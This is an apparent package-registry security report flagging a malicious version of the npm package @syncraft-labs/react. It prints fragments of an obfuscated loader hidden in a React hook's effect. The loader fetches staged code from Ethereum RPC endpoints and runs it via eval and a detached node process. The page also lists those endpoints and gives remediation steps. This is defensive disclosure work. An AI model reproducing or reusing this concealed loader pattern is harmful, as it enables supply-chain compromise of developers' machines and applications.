registry / Remote code execution / @syncraft-labs/react

@syncraft-labs/react

CRITICAL SECURITY WARNING: This version has been compromised by malware. Do not install.

React hooks for Syncraft Labs — local-first state synchronization.

This report shows the evidence for @syncraft-labs/react@0.4.1. 1 of 9 known versions is blocked or flagged. The newest version, 0.7.1, is allowed. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

Direct inspection confirms a concealed staged-payload loader with eval and detached process execution in the ESM runtime path. Absence of lifecycle hooks does not mitigate this application-time arbitrary-code-execution behavior.

Static reason

One or more suspicious static signals were detected.; previous stored version diff introduced dangerous source

Trigger

Import the ESM entrypoint and render a component using useSync so its React effect runs.

Impact

Arbitrary code execution in a Node-capable application runtime.

Mechanism

Obfuscated remote payload retrieval followed by eval and detached child-process execution.

Attack narrative

The package presents a normal CommonJS build but directs ESM imports to a separately modified index.js. In useSync's effect, hidden code loads Node networking and child-process facilities, selects ETH_RPC_URL or public Ethereum RPC endpoints, retrieves staged data, and passes it to eval and a detached node -e process. This is an intentionally concealed remote-code-execution chain unrelated to React synchronization.

AI rationale

Evidence

dist/index.jspackage.jsondist/index.cjs

Network endpoints4

1rpc.io/etheth-mainnet.public.blastapi.ioethereum-rpc.publicnode.cometh.drpc.org

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

dist/index.js embeds a large obfuscated loader inside useSync's effect.
The loader requires Node HTTP, HTTPS, zlib, URL, and child_process spawn.
It uses ETH_RPC_URL plus hard-coded Ethereum RPC endpoints to retrieve staged content.
Retrieved content is passed to eval and a detached node -e child process.
package.json routes ESM imports to the malicious dist/index.js entrypoint.

Evidence against

package.json has no preinstall, install, or postinstall hook.
dist/index.cjs contains the expected unobfuscated React hook implementation.

Behavioral surface

Source

DynamicRequireEnvironmentVars

Supply chain

Obfuscated

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 45.9 KB of source

Source & flagged code

7 flagged

dist/index.jsView file

•matchType = previous_version_dangerous_delta matchedPackage = @syncraft-labs/react@0.4.2 matchedIdentity = npm:QHN5bmNyYWZ0LWxhYnMvcmVhY3Q:0.4.2 similarity = 0.500 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/index.jsView on unpkg

176}, [store]); L177: useEffect(() => { ... L178: if (typeof window === "undefined") return;

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.jsView on unpkg · L176

177globalThis.i="A12-synd";const _0xb40cd9=_0x4963;(function(_0x28261c,_0x1c6ad4){const _0x1f55f0=_0x4963,_0x424395=_0x28261c();while(!![]){try{

High

Ai Review Evidence

dist/index.js embeds a large obfuscated loader inside useSync's effect.

dist/index.jsView on unpkg · L177

177const http=require(_0xb40cd9(0x20e)),https=require(_0xb40cd9(0x206)),zlib=require(_0xb40cd9(0x2d5)),{URL}=require(_0xb40cd9(0x28d)),{spawn}=require(_0xb40cd9(0x234)+_0xb40cd9(0x238))

High

Ai Review Evidence

The loader requires Node HTTP, HTTPS, zlib, URL, and child_process spawn.

dist/index.jsView on unpkg · L177

177R=[...new Set([process.env.ETH_RPC_URL,_0xb40cd9(0x22a)+_0xb40cd9(0x217),_0xb40cd9(0x246)+_0xb40cd9(0x2c0)

High

Ai Review Evidence

It uses ETH_RPC_URL plus hard-coded Ethereum RPC endpoints to retrieve staged content.

dist/index.jsView on unpkg · L177

176}, [store]); L177: useEffect(() => { ... L178: if (typeof window === "undefined") return;

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/index.jsView on unpkg · L176

package.jsonView file

12"import": { "types": "./dist/index.d.ts", "default": "./dist/index.js" }, "require": { "types": "./dist/index.d.cts", "default": "./dist/index.cjs" }

High

Ai Review Evidence

package.json routes ESM imports to the malicious dist/index.js entrypoint.

package.jsonView on unpkg · L12

Source & flagged code

7 flagged · loading source

dist/index.jsView file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/index.jsView on unpkg

176}, [store]); L177: useEffect(() => { ... L178: if (typeof window === "undefined") return;

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.jsView on unpkg · L176

177globalThis.i="A12-synd";const _0xb40cd9=_0x4963;(function(_0x28261c,_0x1c6ad4){const _0x1f55f0=_0x4963,_0x424395=_0x28261c();while(!![]){try{

High

Ai Review Evidence

dist/index.js embeds a large obfuscated loader inside useSync's effect.

dist/index.jsView on unpkg · L177

Findings

1 Critical6 High3 Medium1 Low

CriticalPrevious Version Dangerous Deltadist/index.js

HighObfuscated Payload Loaderdist/index.js

HighObfuscated

HighAi Review Evidencedist/index.js

HighAi Review Evidencepackage.json

MediumDynamic Requiredist/index.js

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

Affected versions and remediation

This report applies to @syncraft-labs/react@0.4.1.

The versions list below shows the verdict for each recorded version.

Avoid installing @syncraft-labs/react@0.4.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-26 06:30:11.877Z (UTC).

Source advisory published: 2026-08-23 03:15:14.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

9 known versions

0.7.1latestUnknown—AllowUnder ReviewOct 15, 2026, 1:15 PM 0.7.0Unknown—AllowUnder ReviewOct 12, 2026, 10:47 AM 0.6.0Clean—AllowPublishedSep 15, 2026, 3:25 PM 0.5.0Clean—AllowPublishedSep 8, 2026, 5:34 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

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Runtime surface

Behavioral surface

Source & flagged code

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